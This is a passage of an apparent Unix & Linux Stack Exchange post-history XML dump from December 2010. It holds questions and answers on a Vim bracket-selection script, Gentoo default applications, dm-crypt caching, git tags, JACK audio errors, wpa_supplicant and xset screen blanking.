&#xD;&#xA;      normal! v&#xD;&#xA;    &#xD;&#xA;      &quot; End of the outer block&#xD;&#xA;      let pos_e = searchpair(s:k_begin, '', s:k_end, 'W', 'lh#syntax#skip()')&#xD;&#xA;      let char_e = lh#position#char_at_pos(getpos('.'))&#xD;&#xA;      if pos_e == 0&#xD;&#xA;        throw &quot;pos_e == 0&quot;&#xD;&#xA;      elseif s:k_pairs[char_b] != char_e&#xD;&#xA;        echomsg &quot;unbalanced blocks&quot;&#xD;&#xA;      endif&#xD;&#xA;    &#xD;&#xA;      &quot; Adjusting the extremities&#xD;&#xA;      if a:inner&#xD;&#xA;        call search('.', 'b')&#xD;&#xA;        normal! o&#xD;&#xA;        call search('.')&#xD;&#xA;        normal! o&#xD;&#xA;      endif&#xD;&#xA;    endfunction&#xD;&#xA;    &quot; Private Functions }}}1&#xD;&#xA;&#xD;&#xA;NB: I've reused function from [lh-vim-lib][1] -- BTW, there is a little bug in the version of `lh#position#char_at_pos()` in conf: `col()` must not be used.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/p/lh-vim/wiki/lhVimLib" />
  <row Id="11127" PostHistoryTypeId="2" PostId="5043" RevisionGUID="35ea69a9-fbd1-48f9-a5c5-a0889776485a" CreationDate="2010-12-21T11:48:36.057" UserId="250" Text="On my Gentoo box running without a desktop environment, every time I try to open a file the system tries to open it with Firefox. I understand that without a desktop environment &quot;open file&quot; cannot function correctly, but why is everything opened with Firefox? If I want to, can I change it to something else?" />
  <row Id="11128" PostHistoryTypeId="1" PostId="5043" RevisionGUID="35ea69a9-fbd1-48f9-a5c5-a0889776485a" CreationDate="2010-12-21T11:48:36.057" UserId="250" Text="Gentoo default application for opening files" />
  <row Id="11129" PostHistoryTypeId="3" PostId="5043" RevisionGUID="35ea69a9-fbd1-48f9-a5c5-a0889776485a" CreationDate="2010-12-21T11:48:36.057" UserId="250" Text="égentooàéfileömanagementà" />
  <row Id="11130" PostHistoryTypeId="2" PostId="5044" RevisionGUID="de91729e-69ad-45e5-8a3f-98fea93c7367" CreationDate="2010-12-21T12:22:31.880" UserId="305" Text="Usually this information is handled in 2 places:&#xD;&#xA;&#xD;&#xA;- Application .desktop files advertise what program can open&#xD;&#xA;- MIME database which specifies what application should be used to open file with specific MIME&#xD;&#xA;&#xD;&#xA;The MIME database can be customized by editing `.local/share/applications/mimeapps.list` and `.local/share/applications/mimeinfo.cache`. The tool which allows to edit it is `xdg-mime` from `x11-misc/xdg-utils`. **Please beware that man states it can be used only from inside desktop session**.&#xD;&#xA;&#xD;&#xA;**Edit** Please note that some applications, like Firefox, do not respect the MIME database settings.&#xD;&#xA;" />
  <row Id="11131" PostHistoryTypeId="2" PostId="5045" RevisionGUID="a4014af3-be62-4346-8391-f835ae9a8fc3" CreationDate="2010-12-21T12:47:26.187" UserId="305" Text="One of the well-known properties of dm-crypt is that it do not handle write caching properly and hence it have to be turned off to prevent corruption of filesystems. As far as I understend it is not shared by all other dm devices (like LVM w/out snapshoting).&#xD;&#xA;&#xD;&#xA;My question is wheather it is inherit property of dm-crypt for any reason (I cannot find any but it is possible) or is it simply not implemented (yet?)." />
  <row Id="11132" PostHistoryTypeId="1" PostId="5045" RevisionGUID="a4014af3-be62-4346-8391-f835ae9a8fc3" CreationDate="2010-12-21T12:47:26.187" UserId="305" Text="Why dm-crypt does not handle write caching properly" />
  <row Id="11133" PostHistoryTypeId="3" PostId="5045" RevisionGUID="a4014af3-be62-4346-8391-f835ae9a8fc3" CreationDate="2010-12-21T12:47:26.187" UserId="305" Text="éhardödiskàécacheàédmöcryptàédeviceömapperà" />
  <row Id="11134" PostHistoryTypeId="10" PostId="5035" RevisionGUID="9e270d1e-58b9-4dc2-9d41-6008d6b09627" CreationDate="2010-12-21T13:17:11.750" UserId="305" CloseReasonId="2" Text="[{&quot;Id&quot;:305,&quot;DisplayName&quot;:&quot;Maciej Piechotka&quot;}]" />
  <row Id="11136" PostHistoryTypeId="2" PostId="5046" RevisionGUID="7b47a3d2-4b5a-4ec0-ac89-f1b024eb7ab1" CreationDate="2010-12-21T13:33:41.767" UserId="12" Text="The [vc bundle][1] is a neat little package that extracts information about a git repo for easy insertion into a LaTeX document. It doesn't currently extract information about whether the current commit is tagged and what the tag name is. How would I edit the `vc` script to do this?&#xD;&#xA;&#xD;&#xA;And then how would I edit the `vc-git.awk` script to add an extra line to the generated vc.tex file? Presumably I want a line that looks like:&#xD;&#xA;&#xD;&#xA;    print &quot;\\gdef\\GITTag{&quot; Tag &quot;}%&quot;&#xD;&#xA;&#xD;&#xA;but I need an earlier line that tells awk what `&quot; Tag &quot;` means?&#xD;&#xA;&#xD;&#xA;This isn't a question about LaTeX, it is about git, awk and bash...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.ctan.org/tex-archive/support/vc/git-unix/" />
  <row Id="11137" PostHistoryTypeId="1" PostId="5046" RevisionGUID="7b47a3d2-4b5a-4ec0-ac89-f1b024eb7ab1" CreationDate="2010-12-21T13:33:41.767" UserId="12" Text="extracting &quot;tag&quot; information from git with a shell script." />
  <row Id="11138" PostHistoryTypeId="3" PostId="5046" RevisionGUID="7b47a3d2-4b5a-4ec0-ac89-f1b024eb7ab1" CreationDate="2010-12-21T13:33:41.767" UserId="12" Text="ébashàéawkàégità" />
  <row Id="11139" PostHistoryTypeId="2" PostId="5047" RevisionGUID="cbbab15d-7902-49f4-8e83-89ba36924538" CreationDate="2010-12-21T13:55:50.967" UserId="3154" Text="The major limiting factor for synchronous IO isn't throughput of your harddrive, but rather the time it takes from when the write is issued and it being committed to disk. The most relevant performance metric for a harddrive in this regard would be the seek time of the harddrive and not it's throughput under ideal circumstances.&#xD;&#xA;&#xD;&#xA;In addition to the hardware working against you, so are the kernel, I'm guessing you might see a small improvement (although, probably nowhere near what you'll get from doing async IO) if you can ionice the benchmark (application) to run under the realtime IO scheduling class. By default, applications will be scheduled under the best effort class, which probably also will add to the wait time of your writes. Use the realtime scheduling class at your own risk, as it'll have adverse effects on other applications performance when accessing disk.&#xD;&#xA;&#xD;&#xA;In general, I don't really thing there's anything horribly wrong with the synchronous write performance you're seeing. Synchronous IO will in general perform horribly compared to asynchronous IO.&#xD;&#xA;&#xD;&#xA;As a side note a quick google of activemq and synchronous io gave the [following][1]:&#xD;&#xA;&#xD;&#xA;&gt; For performance reasons you may wish&#xD;&#xA;&gt; to stream messages to the broker as&#xD;&#xA;&gt; fast as possible even if you are using&#xD;&#xA;&gt; persistent messages&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://activemq.apache.org/how-do-i-enable-asynchronous-sending.html" />
  <row Id="11140" PostHistoryTypeId="5" PostId="5042" RevisionGUID="e4d700ac-a74a-4b30-a0b7-1b663b77903e" CreationDate="2010-12-21T13:56:47.130" UserId="3240" Comment="enhancement: support for vi%i%a%" Text="Here is why the question should have been on SO : non trivial scripting is required...&#xD;&#xA;&#xD;&#xA;    &quot; Public Mappings {{{1&#xD;&#xA;    onoremap &lt;silent&gt; i% :&lt;c-u&gt;call &lt;sid&gt;SelectFirstPair(1,0)&lt;cr&gt;&#xD;&#xA;    xnoremap &lt;silent&gt; i% :&lt;c-u&gt;call &lt;sid&gt;SelectFirstPair(1,1)&lt;cr&gt;&lt;esc&gt;gv&#xD;&#xA;    onoremap &lt;silent&gt; a% :&lt;c-u&gt;call &lt;sid&gt;SelectFirstPair(0,0)&lt;cr&gt;&#xD;&#xA;    xnoremap &lt;silent&gt; a% :&lt;c-u&gt;call &lt;sid&gt;SelectFirstPair(0,1)&lt;cr&gt;&lt;esc&gt;gv&#xD;&#xA;    &quot; Public Mappings }}}1&#xD;&#xA;    &quot;------------------------------------------------------------------------&#xD;&#xA;    &quot; Private Functions {{{1&#xD;&#xA;    &quot; Note: most functions are best placed into&#xD;&#xA;    &quot; autoload/«your-initials»/«omap_any_bracket».vim&#xD;&#xA;    &quot; Keep here only the functions are are required when the plugin is loaded,&#xD;&#xA;    &quot; like functions that help building a vim-menu for this plugin.&#xD;&#xA;    let s:k_pairs = {&#xD;&#xA;          \ '(': ')',&#xD;&#xA;          \ '[': ']',&#xD;&#xA;          \ '{': '}',&#xD;&#xA;          \ '&lt;': '&gt;'&#xD;&#xA;          \ }&#xD;&#xA;    &#xD;&#xA;    let s:k_begin = '[([{&lt;]'&#xD;&#xA;    let s:k_end   = '[)\]}&gt;]'&#xD;&#xA;      &#xD;&#xA;    function! s:SelectFirstPair(inner, visual)&#xD;&#xA;      &quot; In case we already are in visual mode, we may have to extend the current&#xD;&#xA;      &quot; zone if it selects a pair of brackets&#xD;&#xA;      if a:visual&#xD;&#xA;        let char_b = lh#position#char_at_mark(&quot;'&lt;&quot;)&#xD;&#xA;        if char_b =~ s:k_begin&#xD;&#xA;    	  \ &amp;&amp; s:k_pairs[char_b] == lh#position#char_at_mark(&quot;'&gt;&quot;)&#xD;&#xA;          call search('.', 'bW') &quot; previous char&#xD;&#xA;        elseif a:inner&#xD;&#xA;          &quot; handle case the case &quot;vi%i%i%&quot;&#xD;&#xA;          let current_pos = getpos('.')&#xD;&#xA;          call setpos('.', getpos(&quot;'&lt;&quot;))&#xD;&#xA;          call search('.', 'bW') &quot; previous char&#xD;&#xA;          let pos_b = getpos('.')&#xD;&#xA;          call setpos('.', getpos(&quot;'&gt;&quot;))&#xD;&#xA;          call search('.', 'W') &quot; next char&#xD;&#xA;          let pos_e = getpos('.')&#xD;&#xA;          let char_b = lh#position#char_at_pos(pos_b)&#xD;&#xA;          let char_e = lh#position#char_at_pos(pos_e)&#xD;&#xA;          echomsg &quot;chars = &quot;.char_b.char_e&#xD;&#xA;          if char_b =~ s:k_begin&#xD;&#xA;    	    \ &amp;&amp; s:k_pairs[char_b] == char_e&#xD;&#xA;    	call setpos('.', pos_b) &quot; restore start_pos&#xD;&#xA;    	call search('.', 'bW') &quot; previous char&#xD;&#xA;          else&#xD;&#xA;    	call setpos('.', current_pos) &quot; restore init_pos&#xD;&#xA;          endif&#xD;&#xA;        endif&#xD;&#xA;      endif&#xD;&#xA;&#xD;&#xA;      &quot; Searching the n outer blocks requested&#xD;&#xA;      let cnt = v:count &lt;= 0 ? 1 : v:count&#xD;&#xA;      while cnt &gt; 0&#xD;&#xA;        let cnt -= 1&#xD;&#xA;        let char_c = lh#position#char_at_pos(getpos('.'))&#xD;&#xA;        let accept_at_current = char_c =~ s:k_begin ? 'c' : ''&#xD;&#xA;    &#xD;&#xA;        &quot; Begin of the current outer block&#xD;&#xA;        if 0 ==searchpair(s:k_begin, '', s:k_end, 'bW'.accept_at_current, 'lh#syntax#skip()')&#xD;&#xA;          throw &quot;No outer bloc&quot;&#xD;&#xA;        endif&#xD;&#xA;        if cnt &gt; 0&#xD;&#xA;          call search('.', 'bW') &quot; previous char&#xD;&#xA;        endif&#xD;&#xA;      endwhile&#xD;&#xA;    &#xD;&#xA;      let char_b = lh#position#char_at_pos(getpos('.'))&#xD;&#xA;    &#xD;&#xA;      normal! v&#xD;&#xA;    &#xD;&#xA;      &quot; End of the outer block&#xD;&#xA;      let pos_e = searchpair(s:k_begin, '', s:k_end, 'W', 'lh#syntax#skip()')&#xD;&#xA;      let char_e = lh#position#char_at_pos(getpos('.'))&#xD;&#xA;      if pos_e == 0&#xD;&#xA;        throw &quot;pos_e == 0&quot;&#xD;&#xA;      elseif s:k_pairs[char_b] != char_e&#xD;&#xA;        echomsg &quot;unbalanced blocks&quot;&#xD;&#xA;      endif&#xD;&#xA;    &#xD;&#xA;      &quot; Adjusting the extremities&#xD;&#xA;      if a:inner&#xD;&#xA;        call search('.', 'b')&#xD;&#xA;        normal! o&#xD;&#xA;        call search('.')&#xD;&#xA;        normal! o&#xD;&#xA;      endif&#xD;&#xA;    endfunction&#xD;&#xA;    &quot; Private Functions }}}1&#xD;&#xA;&#xD;&#xA;NB: I've reused function from [lh-vim-lib][1] -- BTW, there is a little bug in the version of `lh#position#char_at_pos()` in conf: `col()` must not be used.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/p/lh-vim/wiki/lhVimLib&#xD;&#xA;" />
  <row Id="11141" PostHistoryTypeId="2" PostId="5048" RevisionGUID="788a77c0-1574-44d8-8027-7ca84a45c1f1" CreationDate="2010-12-21T13:57:13.603" UserId="2689" Text="I have to use Ubuntu 10.04 at work, and cant upgrade it. I'm using Vim 7.2.&#xD;&#xA;&#xD;&#xA;I want to upgrade it to 7.3 (with python and ruby extensions support). Which is the best way? Add an entry in sources.lists and install a 7.3 vim package from it, or build from source? Which disadvantages I have from each approach?" />
  <row Id="11142" PostHistoryTypeId="1" PostId="5048" RevisionGUID="788a77c0-1574-44d8-8027-7ca84a45c1f1" CreationDate="2010-12-21T13:57:13.603" UserId="2689" Text="Best way to upgrade vim/gvim to 7.3 in Ubuntu 10.04?" />
  <row Id="11143" PostHistoryTypeId="3" PostId="5048" RevisionGUID="788a77c0-1574-44d8-8027-7ca84a45c1f1" CreationDate="2010-12-21T13:57:13.603" UserId="2689" Text="évimàépythonàéupgradeàégvimàérubyà" />
  <row Id="11144" PostHistoryTypeId="2" PostId="5049" RevisionGUID="ed525a4e-7420-4351-a261-2be11554108d" CreationDate="2010-12-21T14:07:38.570" UserId="1389" Text="Build from source. It will be quicker. Trying to both find and enable a repository for a one-off install like that will just cause you headaches further down the line." />
  <row Id="11145" PostHistoryTypeId="2" PostId="5050" RevisionGUID="fd7a8a57-f4ff-45f4-a7b0-330a8a540138" CreationDate="2010-12-21T14:12:31.827" UserId="1389" Text="OK. I start JACK without starting the JACK server. I get:&#xD;&#xA;&#xD;&#xA;    23:09:22.730 Patchbay deactivated.&#xD;&#xA;    23:09:22.765 Statistics reset.&#xD;&#xA;    Cannot connect to server socket err = No such file or directory&#xD;&#xA;    Cannot connect to server socket&#xD;&#xA;    jack server is not running or cannot be started&#xD;&#xA;    23:09:23.059 ALSA connection graph change.&#xD;&#xA;    23:09:23.250 ALSA connection change.&#xD;&#xA;&#xD;&#xA;Then I press the 'play' button.&#xD;&#xA;&#xD;&#xA;I get:&#xD;&#xA;&#xD;&#xA;    23:10:07.865 Startup script...&#xD;&#xA;    23:10:07.866 artsshell -q terminate&#xD;&#xA;    Cannot connect to server socket err = No such file or directory&#xD;&#xA;    Cannot connect to server socket&#xD;&#xA;    jack server is not running or cannot be started&#xD;&#xA;    sh: artsshell: not found&#xD;&#xA;    23:10:08.268 Startup script terminated with exit status=32512.&#xD;&#xA;    23:10:08.268 JACK is starting...&#xD;&#xA;    23:10:08.269 /usr/bin/jackd -dalsa -dhw:0 -r44100 -p1024 -n2&#xD;&#xA;    23:10:08.275 JACK was started with PID=1764.&#xD;&#xA;    Cannot create thread 1 Operation not permitted&#xD;&#xA;    Cannot create thread 1 Operation not permitted&#xD;&#xA;    jackdmp 1.9.6&#xD;&#xA;    Copyright 2001-2005 Paul Davis and others.&#xD;&#xA;    Copyright 2004-2010 Grame.&#xD;&#xA;    jackdmp comes with ABSOLUTELY NO WARRANTY&#xD;&#xA;    This is free software, and you are welcome to redistribute it&#xD;&#xA;    under certain conditions; see the file COPYING for details&#xD;&#xA;    JACK server starting in realtime mode with priority 10&#xD;&#xA;    Cannot lock down memory area (Cannot allocate memory)&#xD;&#xA;    audio_reservation_init&#xD;&#xA;    Acquire audio card Audio0&#xD;&#xA;    creating alsa driver ... hw:0|hw:0|1024|2|44100|0|0|nomon|swmeter|-|32bit&#xD;&#xA;    Using ALSA driver HDA-Intel running on card 0 - HDA Intel at 0xdfebc000 irq 42&#xD;&#xA;    configuring for 44100Hz, period = 1024 frames (23.2 ms), buffer = 2 periods&#xD;&#xA;    ALSA: final selected sample format for capture: 32bit integer little-endian&#xD;&#xA;    ALSA: use 2 periods for capture&#xD;&#xA;    ALSA: final selected sample format for playback: 32bit integer little-endian&#xD;&#xA;    ALSA: use 2 periods for playback&#xD;&#xA;    Cannot use real-time scheduling (RR/10)(1: Operation not permitted)&#xD;&#xA;    AcquireSelfRealTime error&#xD;&#xA;    alsa_driver_xrun_recovery&#xD;&#xA;    JackAudioDriver::ProcessAsync: read error, skip cycle&#xD;&#xA;    alsa_driver_xrun_recovery&#xD;&#xA;    JackAudioDriver::ProcessAsync: read error, skip cycle&#xD;&#xA;    alsa_driver_xrun_recovery&#xD;&#xA;    JackAudioDriver::ProcessAsync: read error, skip cycle&#xD;&#xA;    alsa_driver_xrun_recovery&#xD;&#xA;    JackAudioDriver::ProcessAsync: read error, skip cycle&#xD;&#xA;    alsa_driver_xrun_recovery&#xD;&#xA;    JackAudioDriver::ProcessAsync: read error, skip cycle&#xD;&#xA;    alsa_driver_xrun_recovery&#xD;&#xA;    JackAudioDriver::ProcessAsync: read error, skip cycle&#xD;&#xA;    alsa_driver_xrun_recovery&#xD;&#xA;    JackAudioDriver::ProcessAsync: read error, skip cycle&#xD;&#xA;    alsa_driver_xrun_recovery&#xD;&#xA;    JackAudioDriver::ProcessAsync: read error, skip cycle&#xD;&#xA;    alsa_driver_xrun_recovery&#xD;&#xA;    JackAudioDriver::ProcessAsync: read error, skip cycle&#xD;&#xA;    alsa_driver_xrun_recovery&#xD;&#xA;    JackAudioDriver::ProcessAsync: read error, skip cycle&#xD;&#xA;    alsa_driver_xrun_recovery&#xD;&#xA;    JackAudioDriver::ProcessAsync: read error, skip cycle&#xD;&#xA;    alsa_driver_xrun_recovery&#xD;&#xA;    JackAudioDriver::ProcessAsync: read error, skip cycle&#xD;&#xA;    alsa_driver_xrun_recovery&#xD;&#xA;    JackAudioDriver::ProcessAsync: read error, skip cycle&#xD;&#xA;    alsa_driver_xrun_recovery&#xD;&#xA;    JackAudioDriver::ProcessAsync: read error, skip cycle&#xD;&#xA;    alsa_driver_xrun_recovery&#xD;&#xA;    JackAudioDriver::ProcessAsync: read error, skip cycle&#xD;&#xA;    alsa_driver_xrun_recovery&#xD;&#xA;    JackAudioDriver::ProcessAsync: read error, skip cycle&#xD;&#xA;    23:10:15.341 Could not connect to JACK server as client. - Overall operation failed. - Server communication error. &#xD;&#xA;&#xD;&#xA;If I press nothing, the above read error message repeats infinitely.&#xD;&#xA;&#xD;&#xA;I installed JACK from repositories and this is what I got. " />
  <row Id="11146" PostHistoryTypeId="1" PostId="5050" RevisionGUID="fd7a8a57-f4ff-45f4-a7b0-330a8a540138" CreationDate="2010-12-21T14:12:31.827" UserId="1389" Text="Can someone diagnose this JACK error message?" />
  <row Id="11147" PostHistoryTypeId="3" PostId="5050" RevisionGUID="fd7a8a57-f4ff-45f4-a7b0-330a8a540138" CreationDate="2010-12-21T14:12:31.827" UserId="1389" Text="éaudioàéalsaà" />
  <row Id="11148" PostHistoryTypeId="2" PostId="5051" RevisionGUID="0e26c64e-3619-4fe5-aa25-bfd8a1411990" CreationDate="2010-12-21T15:12:52.603" UserId="305" Text="You can get what commit tag points to by:&#xD;&#xA;&#xD;&#xA;    git show -s 'TAG_NAME^{commit}' --format='%H'&#xD;&#xA;&#xD;&#xA;Unfortunatly I'm afraid that the only way of checking if commit is tagged it to check all tags." />
  <row Id="11149" PostHistoryTypeId="2" PostId="5052" RevisionGUID="bb6c73c4-d1f3-4906-8e6d-65cf40f3cdc8" CreationDate="2010-12-21T15:53:36.047" UserId="3251" Text="This seems to be a known bug and you can read more detail on hxxp://bugs.launchpad.net/ubuntu/+source/gnome-power-manager/+bug/447728 as well as on hxxp://ubuntuforums.org/showthread.php?t=1317747 . The issue is that somehow gnome-power-manager and the xset commands conflict with eachother.&#xD;&#xA;&#xD;&#xA;The solution is to run xset dpms force off in a loop, a python script for this is given at http://ubuntuforums.org/showpost.php?p=9433671&amp;postcount=24 which pretty much works for most of us.&#xD;&#xA;&#xD;&#xA;Give it a try, and see how it goes.&#xD;&#xA;&#xD;&#xA;SORRY: Since I'm new here, I can only post one link in my post. Please change the hxxp to http in links above." />
  <row Id="11150" PostHistoryTypeId="2" PostId="5053" RevisionGUID="e9a89be8-b9d2-4bd6-b1fd-79549cbd5dbd" CreationDate="2010-12-21T16:00:55.480" UserId="3092" Text="Hi,&#xD;&#xA;&#xD;&#xA;I have a netgear wg311 wireless card on my debian machine. I have it connected using wpa_supplicant.&#xD;&#xA;&#xD;&#xA;When i type this.&#xD;&#xA;&#xD;&#xA;    wpa_supplicant -c/etc/wpa_supplicant/wpa_supplicant.conf -iwlan0 -Dwext&#xD;&#xA;&#xD;&#xA;i get this&#xD;&#xA;&#xD;&#xA;    TRL-EVENT-SCAN-RESULTS CTRL-EVENT-SCAN-RESULTS Trying to associate with 68:7f:74:47:50:96 (SSID='BigGiraffe' freq=2462 MHz) Associated with 68:7f:74:47:50:96 WPA: Key negotiation completed with 68:7f:74:47:50:96 [PTK=CCMP GTK=TKIP] CTRL-EVENT-CONNECTED - Connection to 68:7f:74:47:50:96 completed (auth) [id=0 id_str=] –&#xD;&#xA;&#xD;&#xA;but connection doesnt work for 5-10 minutes. Anyone know what might be causing this" />
  <row Id="11151" PostHistoryTypeId="1" PostId="5053" RevisionGUID="e9a89be8-b9d2-4bd6-b1fd-79549cbd5dbd" CreationDate="2010-12-21T16:00:55.480" UserId="3092" Text="Wireless card wont connect right away" />
  <row Id="11152" PostHistoryTypeId="3" PostId="5053" RevisionGUID="e9a89be8-b9d2-4bd6-b1fd-79549cbd5dbd" CreationDate="2010-12-21T16:00:55.480" UserId="3092" Text="édebianàéwpaösupplicantà" />
  <row Id="11153" PostHistoryTypeId="5" PostId="4466" RevisionGUID="c5317c89-78c1-4cc1-9e7f-7abd950a93c3" CreationDate="2010-12-21T16:01:57.503" UserId="73" Comment="added 1385 characters in body" Text="I am using `xset dpms force off` to manually turn my screen off to save power.&#xD;&#xA;However, it turns back on after some time (20 - 40 seconds).&#xD;&#xA;&#xD;&#xA;&gt; Distro: Ubuntu-Lucid &#xD;&#xA;&#xD;&#xA;&gt; Graphics: Intel 4500 MHD&#xD;&#xA;&#xD;&#xA;Trying steps in [this](http://ubuntuforums.org/showthread.php?t=1317747) solution (Turning off screensaver or wireless) did not work. Can it be due to any other reasons like network (magic packet) or usb devices?  &#xD;&#xA;&#xD;&#xA;Result of `xset -p`:&#xD;&#xA;&#xD;&#xA;    Keyboard Control:&#xD;&#xA;      auto repeat:  on    key click percent:  0    LED mask:  00000000&#xD;&#xA;      XKB indicators:&#xD;&#xA;        00: Caps Lock:   off    01: Num Lock:    off    02: Scroll Lock: off&#xD;&#xA;        03: Compose:     off    04: Kana:        off    05: Sleep:       off&#xD;&#xA;        06: Suspend:     off    07: Mute:        off    08: Misc:        off&#xD;&#xA;        09: Mail:        off    10: Charging:    off    11: Shift Lock:  off&#xD;&#xA;        12: Group 2:     off    13: Mouse Keys:  off&#xD;&#xA;      auto repeat delay:  500    repeat rate:  30&#xD;&#xA;      auto repeating keys:  00ffffffdffffbbf&#xD;&#xA;                            fadfffefffedffff&#xD;&#xA;                            9fffffffffffffff&#xD;&#xA;                            fff7ffffffffffff&#xD;&#xA;      bell percent:  50    bell pitch:  400    bell duration:  100&#xD;&#xA;    Pointer Control:&#xD;&#xA;      acceleration:  2/1    threshold:  4&#xD;&#xA;    Screen Saver:&#xD;&#xA;      prefer blanking:  yes    allow exposures:  yes&#xD;&#xA;      timeout:  0    cycle:  0&#xD;&#xA;    Colors:&#xD;&#xA;      default colormap:  0x20    BlackPixel:  0    WhitePixel:  16777215&#xD;&#xA;    Font Path:&#xD;&#xA;      /usr/share/fonts/X11/misc,/usr/share/fonts/X11/100dpi/:unscaled,/usr/share/fonts/X11/75dpi/:unscaled,/usr/share/fonts/X11/Type1,/usr/share/fonts/X11/100dpi,/usr/share/fonts/X11/75dpi,/var/lib/defoma/x-ttcidfont-conf.d/dirs/TrueType,built-ins&#xD;&#xA;    DPMS (Energy Star):&#xD;&#xA;      Standby: 0    Suspend: 0    Off: 0&#xD;&#xA;      DPMS is Enabled&#xD;&#xA;      Monitor is On" />
  <row Id="11154" PostHistoryTypeId="2" PostId="5054" RevisionGUID="849f6416-7bb9-4857-8047-f2ea9b03d504" CreationDate="2010-12-21T16:04:08.233" UserId="3252" Text="I find this a highly annoying &quot;feature&quot; on a wide screen monitor that my mostly used apps - terminal and gedit always open directly under the top-left corner of my screen and I have to drag them to my eye position each and every-time.&#xD;&#xA;&#xD;&#xA;I have tried installing the CompizConfig Settings Manager and using the feature to position windows centre, but this has had no effect - the force feature here isn't working for me either:&#xD;&#xA;&#xD;&#xA;Window Management -&gt; &quot;place windows&quot; -&gt; Fixed Window Placement -&gt; Windows with fixed positions&#xD;&#xA;example: gedit 200 200 keep-in-work-area-to-yes&#xD;&#xA;&#xD;&#xA;I can use e.g. gnome-terminal --geometry=140x50+50+50 for the terminal but this doesn't work for gedit.&#xD;&#xA;&#xD;&#xA;Any ideas?&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="11155" PostHistoryTypeId="1" PostId="5054" RevisionGUID="849f6416-7bb9-4857-8047-f2ea9b03d504" CreationDate="2010-12-21T16:04:08.233" UserId="3252" Text="Gnome - windows always open top left" />
  <row Id="11156" PostHistoryTypeId="3" PostId="5054" RevisionGUID="849f6416-7bb9-4857-8047-f2ea9b03d504" CreationDate="2010-12-21T16:04:08.233" UserId="3252" Text="égnomeàéwindowsàégeditàécompizà" />
  <row Id="11157" PostHistoryTypeId="5" PostId="5053" RevisionGUID="a2ac011d-de02-423a-ba8d-b99974c31f4e" CreationDate="2010-12-21T16:44:20.730" UserId="3092" Comment="added 507 characters in body" Text="Hi,&#xD;&#xA;&#xD;&#xA;I have a netgear wg311 wireless card on my debian machine. I have it connected using wpa_supplicant.&#xD;&#xA;&#xD;&#xA;When i type this.&#xD;&#xA;&#xD;&#xA;    wpa_supplicant -c/etc/wpa_supplicant/wpa_supplicant.conf -iwlan0 -Dwext&#xD;&#xA;&#xD;&#xA;i get this&#xD;&#xA;&#xD;&#xA;    TRL-EVENT-SCAN-RESULTS CTRL-EVENT-SCAN-RESULTS Trying to associate with 68:7f:74:47:50:96 (SSID='BigGiraffe' freq=2462 MHz) Associated with 68:7f:74:47:50:96 WPA: Key negotiation completed with 68:7f:74:47:50:96 [PTK=CCMP GTK=TKIP] CTRL-EVENT-CONNECTED - Connection to 68:7f:74:47:50:96 completed (auth) [id=0 id_str=] –&#xD;&#xA;&#xD;&#xA;but connection doesnt work for 5-10 minutes. Anyone know what might be causing this&#xD;&#xA;&#xD;&#xA;/etc/network/interfaces&#xD;&#xA;&#xD;&#xA;    iface wlan0 inet dhcp&#xD;&#xA;    wpa-roam /etc/wpa_supplicant/wpa_supplicant.conf&#xD;&#xA;    wpa-driver wext&#xD;&#xA;    wpa-key-mgmt WPA-PSK&#xD;&#xA;    wpa-proto WPA&#xD;&#xA;    wpa-ssid BigGiraffe&#xD;&#xA;    iface default inet dhcp&#xD;&#xA;    &#xD;&#xA;    auto wlan0&#xD;&#xA;&#xD;&#xA;error message on startup&#xD;&#xA;&#xD;&#xA;    wpa_supplicant: wpa-roam can only be used with the &quot;manual&quot; inet METHOD, run parts /etc/network/if-pre-up.d/wpa_supplicant exited with return code 1.&#xD;&#xA;&#xD;&#xA;and it trys to DHCP DISCOVER 255.255.255.255 at 6 different ports." />
  <row Id="11158" PostHistoryTypeId="2" PostId="5055" RevisionGUID="91bb6faa-312e-411f-b219-c61a8981df60" CreationDate="2010-12-21T18:05:22.077" UserId="2689" Text="After reading [this answer][1] about a zsh feature:&#xD;&#xA;&#xD;&#xA;&gt; If a given extension has a suffix&#xD;&#xA;&gt; alias, you can execute a file with&#xD;&#xA;&gt; that extention directly, and ZSH will&#xD;&#xA;&gt; launch the given program and pass the&#xD;&#xA;&gt; filename as an argument.&#xD;&#xA;&#xD;&#xA;Is there something similar to bash? So doing&#xD;&#xA;&#xD;&#xA;&gt; /path/to/foo.ext program&#xD;&#xA;&gt;&#xD;&#xA;&gt; /path/to/foo.ext&#xD;&#xA;&#xD;&#xA;would equivalent, like in zsh feature in the provided link?&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/6/what-are-your-favorite-command-line-features-or-tricks/221#221" />
  <row Id="11159" PostHistoryTypeId="1" PostId="5055" RevisionGUID="91bb6faa-312e-411f-b219-c61a8981df60" CreationDate="2010-12-21T18:05:22.077" UserId="2689" Text="If a given file has an extension, directly execute that file launching a program passing the filename as argument in bash?" />
  <row Id="11160" PostHistoryTypeId="3" PostId="5055" RevisionGUID="91bb6faa-312e-411f-b219-c61a8981df60" CreationDate="2010-12-21T18:05:22.077" UserId="2689" Text="ébashàézshà" />
  <row Id="11161" PostHistoryTypeId="2" PostId="5056" RevisionGUID="5182c293-8b50-4c19-bc4d-8a4adac4d3e2" CreationDate="2010-12-21T18:08:01.263" UserId="576" Text="One thing that has always bothered me in *vi / vim*:&#xD;&#xA;&#xD;&#xA;If I &quot;yank&quot; (a.k.a. &quot;copy&quot;) some text, then move to another place in the file and do a &quot;paste&quot;, my cursor remains at the **beginning** of the text I just pasted.  This is different from what most modern editors do, which is put the cursor at the **end** of the text I pasted.&#xD;&#xA;&#xD;&#xA;For example, assuming the &quot;copy buffer&quot; contains the word &quot;awesome&quot; which I want to paste after the word &quot;an&quot; in the phrase:&#xD;&#xA;&#xD;&#xA;    This is an editor&#xD;&#xA;&#xD;&#xA;In, for example *gedit*, after the paste:&#xD;&#xA;&#xD;&#xA;    This is an awesome editor&#xD;&#xA;                      ^ Cursor is here&#xD;&#xA;&#xD;&#xA;In *vi*:&#xD;&#xA;&#xD;&#xA;    This is an awesome editor&#xD;&#xA;               ^ Cursor is here&#xD;&#xA;&#xD;&#xA;Can I change *vi*  to act like (for example) *gedit*  in this regard?" />
